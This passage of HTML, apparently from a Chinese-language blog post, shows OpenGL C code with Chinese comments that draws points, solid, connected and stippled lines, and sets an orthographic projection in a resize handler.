	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; </span><i>//清除颜色缓冲区，即窗口的背景色</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glClear</span><span class="s3">(</span>GL_COLOR_BUFFER_BIT<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; </span><i>//设置当前绘图使用的颜色</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp;</span><span class="s4">glColor3f</span><span class="s3">(</span>0.0f<span class="s3">,</span>0.0f<span class="s3">, </span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; </span><i>//使用当前的颜色来绘制一个矩形</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>//&nbsp; &nbsp; glRectf(100.0f, 150.0f, 150.0f, 100.0f);</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>// &nbsp; 1.画点</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s5">GLfloat</span> sizesPoint[<span class="s6">2</span>];<span class="s7"><i>//保存线宽的尺寸范围</i></span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s5">GLfloat</span> stepPoint;<span class="s7"><i>//保存线宽度尺寸的最小间隔</i></span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s5">GLfloat</span> curSizePoint;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;<span class="s4">glGetFloatv</span>(<span class="s1">GL_POINT_SIZE_RANGE</span>,sizesPoint);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glGetFloatv</span><span class="s3">(</span>GL_POINT_SIZE_GRANULARITY<span class="s3">,&amp;stepPoint);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; curSizePoint=sizesPoint[<span class="s6">0</span>];
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s2"><b>for</b></span> (<span class="s2"><b>int</b></span> i=<span class="s6">0</span>;i&lt;<span class="s6">25</span>;i++) {
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp; <span class="s4">glPointSize</span>(curSizePoint);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp; <span class="s4">glBegin</span>(<span class="s1">GL_POINTS</span>);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp; <span class="s4">glVertex3f</span>(<span class="s6">25.0</span>+i*<span class="s6">8</span>,<span class="s6">200.0f</span>,<span class="s6">0.0f</span>);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp; curSizePoint +=stepPoint*<span class="s6">2</span>;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; }
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>//&nbsp; 2.&nbsp;画直线</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>//&nbsp; &nbsp; GLfloat sizesLine[2];//保存线宽的尺寸范围</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>//&nbsp; &nbsp; GLfloat stepLine;//保存线宽度尺寸的最小间隔</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s5">GLfloat</span> curSizeLine=<span class="s6">5</span>;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>//&nbsp; &nbsp; glGetFloatv(GL_LINE_WIDTH_RANGE,sizesLine);</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>//&nbsp; &nbsp; glGetFloatv(GL_LINE_WIDTH_GRANULARITY,&amp;stepLine);</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glLineWidth</span>(curSizeLine);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;<span class="s4">glBegin</span>(<span class="s1">GL_LINES</span>);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>25.0f<span class="s3">,</span>160.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>225.0f<span class="s3">,</span>160.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>// &nbsp; 3.画连续的直线</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glBegin</span><span class="s3">(</span>GL_LINE_STRIP<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>25.0f<span class="s3">,</span>150.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>100.0f<span class="s3">,</span>150.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>100.0f<span class="s3">,</span>130.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glBegin</span><span class="s3">(</span>GL_LINE_STRIP<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>0.0f<span class="s3">,</span>0.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>10.0f<span class="s3">,</span>10.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>20.0f<span class="s3">,</span>5.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>// &nbsp; 4.画封闭式直线</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glBegin</span><span class="s3">(</span>GL_LINE_LOOP<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>125.0f<span class="s3">,</span>150.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>200.0f<span class="s3">,</span>150.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>200.0f<span class="s3">,</span>130.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span></span><i>//&nbsp; &nbsp;画虚线</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glEnable</span><span class="s3">(</span>GL_LINE_STIPPLE<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; </span><span class="s4">glLineStipple</span><span class="s3">(</span><span class="s6">1</span><span class="s3">,</span><span class="s6">0x00FF</span><span class="s3">);</span><i>//第一个参数是倍数，第二个参数是一个十六进制数，用来表示如何显示的</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;<span class="s4">glBegin</span>(<span class="s1">GL_LINES</span>);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>25.0f<span class="s3">,</span>120.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>225.0f<span class="s3">,</span>120.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glLineWidth<span class="s3">(</span><span class="s6">3</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glLineStipple<span class="s3">(</span><span class="s6">1</span><span class="s3">,</span><span class="s6">0xFF0C</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;<span class="s4">glBegin</span>(<span class="s1">GL_LINES</span>);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>25.0f<span class="s3">,</span>80.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>225.0f<span class="s3">,</span>80.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glLineStipple<span class="s3">(</span><span class="s6">4</span><span class="s3">,</span><span class="s6">0xFF0C</span><span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;<span class="s4">glBegin</span>(<span class="s1">GL_LINES</span>);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>25.0f<span class="s3">,</span>40.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p7">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glVertex3f</span><span class="s3">(</span>225.0f<span class="s3">,</span>40.0f<span class="s3">,</span>0.0f<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glEnd</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glDisable</span><span class="s3">(</span>GL_LINE_STIPPLE<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><i>//刷新opengl命令队列</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glFlush</span>();
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	}
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p2">
	<br />
</p>
<p class="p1">
	<i>//改变大小时调用的函数</i> 
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	<span class="s2"><b>void</b></span> ChangeSize(<span class="s5">GLsizei</span> w,<span class="s5">GLsizei</span> h)
</p>
<p class="p2">
	<br />
</p>
<p class="p4">
	{
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s2"><b>if</b></span> (h==<span class="s6">0</span>) {
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp; h=<span class="s6">1</span>;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; }
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><i>//设置视区尺寸</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s4">glViewport</span>(<span class="s6">0</span>, <span class="s6">0</span>, w, h);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p1">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; </span><i>//重置坐标系统，使用投影变换复位</i> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p6">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span><span class="s4">glMatrixMode</span><span class="s3">(</span>GL_PROJECTION<span class="s3">);</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p8">
	<span class="s3"><span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp;</span>glLoadIdentity<span class="s3">();</span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp;&nbsp; &nbsp;
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; </span>&nbsp; &nbsp; <span class="s2"><b>if</b></span> (w&lt;=h) {
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp;<span class="s4">glOrtho</span> (<span class="s6">0.0f</span>,<span class="s6">250.0f</span>, <span class="s6">0.0f</span>,<span class="s6">250.0f</span>*h/w, <span class="s6">1.0f</span>, -<span class="s6">1.0f</span>);
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; }<span class="s2"><b>else</b></span> 
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; {
</p>
<p class="p5">
	<span class="Apple-converted-space">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span> 
</p>
<p class="p4">
	<span class="Apple-converted-space">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp;<span class="s4">glOrtho</span> (<span class="s6">0.0f</span>,<span class="s6">250.0f</span>*w/h, <span class="s6">0.0f</span>,<span class="s6">250.0f</span>, <span class="s6">1.0f</span>, -<span class="s6">1.0f</span>);
</p>
<p class="p5">
